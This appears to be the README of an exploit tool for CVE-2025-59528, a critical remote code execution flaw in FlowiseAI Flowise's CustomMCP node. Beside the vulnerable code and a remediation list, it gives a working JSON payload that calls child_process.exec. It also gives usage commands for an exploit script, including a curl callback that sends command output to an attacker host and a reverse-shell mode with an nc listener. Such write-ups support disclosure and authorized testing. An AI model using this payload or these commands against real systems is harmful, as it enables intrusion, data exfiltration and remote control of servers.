CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution

CVSS 10.0 (Critical) | Blind RCE | FlowiseAI Flowise >= 2.2.7-patch.1 and < 3.0.6

Overview

A critical remote code execution vulnerability in the CustomMCP node of FlowiseAI Flowise. The convertToValidJSONString function passes user-supplied input from the mcpServerConfig parameter directly to JavaScript's Function() constructor functionally equivalent to eval() allowing execution of arbitrary JavaScript code with full Node.js runtime privileges.

• Discovered by: Kim SooHyun (@im-soohyun)
• Advisory: GHSA-3gcm-f6qx-ff7p
• Fixed in: Flowise v3.0.6 (replaced Function() with JSON5.parse())

Vulnerable Code

In packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, lines 262–270:

function convertToValidJSONString(inputString) {
    return Function('return ' + inputString)();  // ← arbitrary code execution
}

The taint flow:

HTTP POST → /api/v1/node-load-method/customMCP
  → controller.getSingleNodeAsyncOptions()
    → service layer
      → CustomMCP.listActions()
        → convertToValidJSONString(mcpServerConfig)  // Function('return ' + userInput)()

Exploitation

This is a blind RCE command output is not reflected in the HTTP response. Use callback techniques (curl/wget) or a reverse shell to confirm execution.

Requirements

Payload

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
  }
}

Usage

pip install requests

Check if target is vulnerable (time-based)

python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass

Blind command execution

# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
  -c "curl http://ATTACKER:PORT/\$(id | base64)" \
  --email [email protected] --password pass

Reverse shell

# Start listener
nc -lvnp 4444

# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
  --lhost ATTACKER_IP --lport 4444 \
  --email [email protected] --password pass

Authentication options

# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass

# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass

# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."

Remediation

• Upgrade to Flowise >= 3.0.6
• Restrict API access via firewall/VPN
• Enable authentication on all instances
• Monitor logs for POST requests to /api/v1/node-load-method/customMCP

References

• NVD — CVE-2025-59528
• GitHub Advisory — GHSA-3gcm-f6qx-ff7p
• SonicWall Threat Analysis
• Fix Commit — Flowise v3.0.6

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.